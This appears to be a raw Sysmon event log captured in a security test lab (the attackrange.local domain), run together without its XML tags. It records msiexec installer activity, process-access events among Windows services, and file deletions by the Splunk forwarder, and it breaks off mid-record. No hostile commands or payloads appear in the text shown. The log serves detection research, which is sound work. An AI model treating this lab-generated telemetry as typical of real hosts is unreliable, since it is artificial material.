14:43:49.166{7BD73061-6F25-613B-3108-00000000F001}66204564c:\Windows\System32\MsiExec.exe{7BD73061-6E8E-613B-1107-00000000F001}4116C:\Windows\system32\msiexec.exe0x100000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\Windows\System32\MsiExec.exe+6bca|c:\Windows\System32\MsiExec.exe+7166|c:\Windows\System32\MsiExec.exe+8df7|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000039515Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:49.166{7BD73061-65B2-613B-0C00-00000000F001}8363936C:\Windows\system32\svchost.exe{7BD73061-6F25-613B-3108-00000000F001}6620c:\Windows\System32\MsiExec.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000039514Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:49.135{7BD73061-65B2-613B-0C00-00000000F001}8363936C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+fd18|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000039513Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:49.135{7BD73061-65B2-613B-0C00-00000000F001}8363936C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000039512Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:49.135{7BD73061-65B2-613B-0C00-00000000F001}8363936C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000039511Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:49.135{7BD73061-65B2-613B-0C00-00000000F001}8363936C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000039510Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:49.135{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-6F25-613B-3108-00000000F001}6620c:\Windows\System32\MsiExec.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000039509Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:49.135{7BD73061-6E8E-613B-1107-00000000F001}41165504C:\Windows\system32\msiexec.exe{7BD73061-6F25-613B-3108-00000000F001}6620c:\Windows\System32\MsiExec.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6f453|C:\Windows\System32\ADVAPI32.dll+188af|C:\Windows\system32\Msi.dll+ba6f5|C:\Windows\system32\Msi.dll+16c8f4|C:\Windows\system32\Msi.dll+16cf6c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000039508Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:49.141{7BD73061-6F25-613B-3108-00000000F001}6620C:\Windows\System32\msiexec.exe5.0.14393.2430 (rs1_release_inmarket_aim.180806-1810)Windows® installerWindows Installer - UnicodeMicrosoft Corporationmsiexec.exec:\Windows\System32\MsiExec.exe -Embedding B236F21AE3DA9D8801DFAB61EB08E27B E Global\MSI0000C:\Windows\system32\NT AUTHORITY\SYSTEM{7BD73061-65B0-613B-E703-000000000000}0x3e70SystemMD5=F10B3635225BE24A677CB3BB71824D07,SHA256=B5D755B0B561AA8FDAFF156E3715A333179B14C171EFB53392D4D806D14CF9C9,IMPHASH=18A9F87944C357EB02511FDF4A18E19B{7BD73061-6E8E-613B-1107-00000000F001}4116C:\Windows\System32\msiexec.exeC:\Windows\system32\msiexec.exe /V 23542300x800000000000000039507Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:49.104{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Windows\Installer\MSIFD63.tmpMD5=D41D8CD98F00B204E9800998ECF8427E,SHA256=E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000039572Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:50.831{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=A28F1BC0C53E716E655736399733C548,SHA256=E7D25CA6AA9C5EF2E79290883DFFA5AE5B30E8F3C560AB7018F1683B2D360AC4,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000013776Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:43:50.562{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=01D3231640470ABEBC57FB6FCDB84931,SHA256=58ED1F7B44AE1F57D0D8313F99DB54F5D49725F1C3DFAE2A5BA4547F56CF18FA,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000039571Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:50.784{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\ApplicationMD5=01CB62C7385145296CCA26BB0C7FE1BF,SHA256=5E788ACFEC0D0218B1AF30B637771813385106BECB26804D04CB0E3FEC44BEB4,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000039570Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:50.784{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Windows\Installer\inprogressinstallinfo.ipiMD5=3FD3B33D4DBB06702081890EB49C6B1E,SHA256=833CD6E233800F0259C386E87747925A98E027F21860B4D22AE37D0DDC467024,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000039569Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:50.768{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Windows\Temp\~DF23830AEC5FE16F41.TMPMD5=BF619EAC0CDF3F68D496EA9344137E8B,SHA256=076A27C79E5ACE2A3D47F9DD2E83E4FF6EA8872B3C2218F66C92B89B55F36560,IMPHASH=00000000000000000000000000000000falsefalse - shredded file with pattern 0x00 23542300x800000000000000039568Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:50.768{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Windows\Temp\~DF64AE90B628ADBD7F.TMPMD5=3FD3B33D4DBB06702081890EB49C6B1E,SHA256=833CD6E233800F0259C386E87747925A98E027F21860B4D22AE37D0DDC467024,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000039567Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:50.768{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Windows\Temp\~DFF59CE9515C9CCBD1.TMPMD5=BF619EAC0CDF3F68D496EA9344137E8B,SHA256=076A27C79E5ACE2A3D47F9DD2E83E4FF6EA8872B3C2218F66C92B89B55F36560,IMPHASH=00000000000000000000000000000000falsefalse - shredded file with pattern 0x00 23542300x800000000000000039566Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:50.768{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Windows\Temp\~DFA9BEE588C19AC000.TMPMD5=3FD3B33D4DBB06702081890EB49C6B1E,SHA256=833CD6E233800F0259C386E87747925A98E027F21860B4D22AE37D0DDC467024,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000039565Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:50.768{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Windows\Installer\22b132.msiMD5=E3E41A5D5AB3E348F8DA95BF9C0A0000,SHA256=B564BC6122CA32858BA19EE0F0B467E6E05651015A9E9F7D173822E23B9D7B8C,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000039564Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:50.596{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Windows\Temp\~DF3244AAD63CAC5484.TMPMD5=33C0329F36285A6D2C24A4CB811B43FA,SHA256=9206DE3BE13C7EB82247EF09F564ECA28E89B3419462C292BF4DED0428001DA3,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000039563Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:50.596{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\ApplicationMD5=5A308EB68470A7D37CF963923BE79CBA,SHA256=711B67463291D92F019AEEE6C00507568225E8252F99DEDD18D861DC793C857E,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000039562Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:50.596{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Windows\Temp\~DF322A6C6458D4E8EE.TMPMD5=6A79C65DAA49CB50A0134A9DF4567F8C,SHA256=8DEC8FE7680C935A8F0312275C631070837F2EAE961088F88C9AAF688865E156,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000039561Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:50.596{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Config.Msi\22b134.rbsMD5=8DB509885FE0F00A52156BA479E5C920,SHA256=5AC85D2EA40B270771AF41380571A9EECDFDB34E175DA96E5C5A91E2CBA8B543,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000039560Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:50.581{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Windows\Temp\~DF327C63AA64AE2F1E.TMPMD5=BF619EAC0CDF3F68D496EA9344137E8B,SHA256=076A27C79E5ACE2A3D47F9DD2E83E4FF6EA8872B3C2218F66C92B89B55F36560,IMPHASH=00000000000000000000000000000000falsefalse - shredded file with pattern 0x00 23542300x800000000000000039559Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:50.581{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Windows\Temp\~DFC94D2E96E6683F7C.TMPMD5=902F2C7ACC3A566D92AA0A070BE3B8B0,SHA256=EE7D9B4451E2E89ED7F6863E3B8D4E22A03B025D749F050D5B3C8D0991DEF84D,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000039558Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:50.581{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Windows\Temp\~DF300C129E1B1A24E1.TMPMD5=BF619EAC0CDF3F68D496EA9344137E8B,SHA256=076A27C79E5ACE2A3D47F9DD2E83E4FF6EA8872B3C2218F66C92B89B55F36560,IMPHASH=00000000000000000000000000000000falsefalse - shredded file with pattern 0x00 23542300x800000000000000039557Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:50.581{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Windows\Temp\~DF59D012449F3AF45B.TMPMD5=902F2C7ACC3A566D92AA0A070BE3B8B0,SHA256=EE7D9B4451E2E89ED7F6863E3B8D4E22A03B025D749F050D5B3C8D0991DEF84D,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000039556Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:50.581{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Windows\Installer\MSIFD63.tmpMD5=58D773A4AFF6A2AC044A46F794EE8769,SHA256=81C3D17E91DDB4309D8E74D4032855D53B1395C01132E06E33A81C55336BF519,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000039555Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:50.566{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Windows\Installer\MSIB2.tmpMD5=D26D92AC5C85D022AFC83058F54812C7,SHA256=CD9A93FD4895C26166E1D2951A91E747F98550628BEC732948CD04AD94985FE6,IMPHASH=26CC682253E8C60275A6AADAF4FAD366truetrue 23542300x800000000000000039554Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:50.440{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\ApplicationMD5=553613AE67042EDC63C0EBA0CED03FB8,SHA256=0D76EB2478204F7DFA1C887F953E3F4AA5D4978F8B3665407211726EA472A08D,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000039553Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:50.362{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\ApplicationMD5=CF5566C77B3EFF7CA7E4C0D5DDE003ED,SHA256=FDB31CFEEDDEB3C16A46C3FAF5EBEA0D7A222C7A4B4BB303DA74BAE86F0D9B2F,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000039552Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:50.362{7BD73061-6F25-613B-3208-00000000F001}57001924C:\Windows\system32\sppsvc.exe{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\KERNELBASE.dll+221bd|C:\Windows\system32\sppsvc.exe+8d719|C:\Windows\system32\sppsvc.exe+7eaa8|C:\Windows\system32\sppsvc.exe+748f0|C:\Windows\system32\sppsvc.exe+957de|C:\Windows\system32\sppsvc.exe+5454f|C:\Windows\system32\sppsvc.exe+a1cdb|C:\Windows\system32\sppsvc.exe+b414a|C:\Windows\system32\sppsvc.exe+b443f|C:\Windows\system32\RPCRT4.dll+7a593|C:\Windows\system32\RPCRT4.dll+d9f41|C:\Windows\system32\RPCRT4.dll+62d4c|C:\Windows\system32\RPCRT4.dll+4a274|C:\Windows\system32\RPCRT4.dll+4918d|C:\Windows\system32\RPCRT4.dll+49a3b|C:\Windows\system32\RPCRT4.dll+310ac|C:\Windows\system32\RPCRT4.dll+3152c|C:\Windows\system32\RPCRT4.dll+1ae1c|C:\Windows\system32\RPCRT4.dll+1c67b|C:\Windows\system32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\SYSTEM32\KERNEL32.DLL+84d4 10341000x800000000000000039551Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:50.362{7BD73061-6F25-613B-3208-00000000F001}57001924C:\Windows\system32\sppsvc.exe{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x100000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\KERNELBASE.dll+221bd|C:\Windows\system32\sppsvc.exe+8d719|C:\Windows\system32\sppsvc.exe+74a0a|C:\Windows\system32\sppsvc.exe+95791|C:\Windows\system32\sppsvc.exe+5454f|C:\Windows\system32\sppsvc.exe+a1cdb|C:\Windows\system32\sppsvc.exe+b414a|C:\Windows\system32\sppsvc.exe+b443f|C:\Windows\system32\RPCRT4.dll+7a593|C:\Windows\system32\RPCRT4.dll+d9f41|C:\Windows\system32\RPCRT4.dll+62d4c|C:\Windows\system32\RPCRT4.dll+4a274|C:\Windows\system32\RPCRT4.dll+4918d|C:\Windows\system32\RPCRT4.dll+49a3b|C:\Windows\system32\RPCRT4.dll+310ac|C:\Windows\system32\RPCRT4.dll+3152c|C:\Windows\system32\RPCRT4.dll+1ae1c|C:\Windows\system32\RPCRT4.dll+1c67b|C:\Windows\system32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\SYSTEM32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 23542300x800000000000000039550Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:50.346{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\ApplicationMD5=DAE564A242775A075DCDA25CB95510F8,SHA256=2D6B1DFF9BB05563547FF1A73177866DF619999441D5098BA8430C89C3655CFB,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000039549Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:50.276{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\ApplicationMD5=A02D08ED6B508AE3845B515DC0E58C94,SHA256=C592A839E6D651398DCA3F374D0913E0001A0F044F4C49629242E3E875396FC9,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000039548Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:50.166{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=3CDFCF228750823E0D7A89B1B05EFDBA,SHA256=D4E3D2928E6D61CDE52981BD36E9AE77B5531D5DBDC51F45B352C37DC6B676A8,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000039547Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:50.088{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\ApplicationMD5=3E79972A3E5EE47A4A60DF1643E56B0A,SHA256=6FFC6F6BE8296265A366E8B8BC5A6E40B79369DE4BF17758F7EC43BA93257762,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000039546Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:50.088{7BD73061-65B0-613B-0A00-00000000F001}612756C:\Windows\system32\services.exe{7BD73061-6F25-613B-3208-00000000F001}5700C:\Windows\system32\sppsvc.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\System32\RPCRT4.dll+67d2f|C:\Windows\system32\services.exe+1713f|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000039545Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:50.088{7BD73061-65B2-613B-0C00-00000000F001}8363936C:\Windows\system32\svchost.exe{7BD73061-6F25-613B-3208-00000000F001}5700C:\Windows\system32\sppsvc.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000039544Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:50.057{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-6F25-613B-3208-00000000F001}5700C:\Windows\system32\sppsvc.exe0x103800C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000039543Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:50.057{7BD73061-65B0-613B-0A00-00000000F001}6124244C:\Windows\system32\services.exe{7BD73061-6F25-613B-3208-00000000F001}5700C:\Windows\system32\sppsvc.exe0x103801C:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6f453|C:\Windows\System32\KERNEL32.DLL+1d37f|C:\Windows\system32\services.exe+307d|C:\Windows\system32\services.exe+6334|C:\Windows\system32\services.exe+dc24|C:\Windows\system32\services.exe+d248|C:\Windows\system32\services.exe+4d0c|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 23542300x800000000000000013775Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:43:50.117{625C326B-67EE-613B-1B00-00000000F101}1908NT AUTHORITY\SYSTEMC:\Program 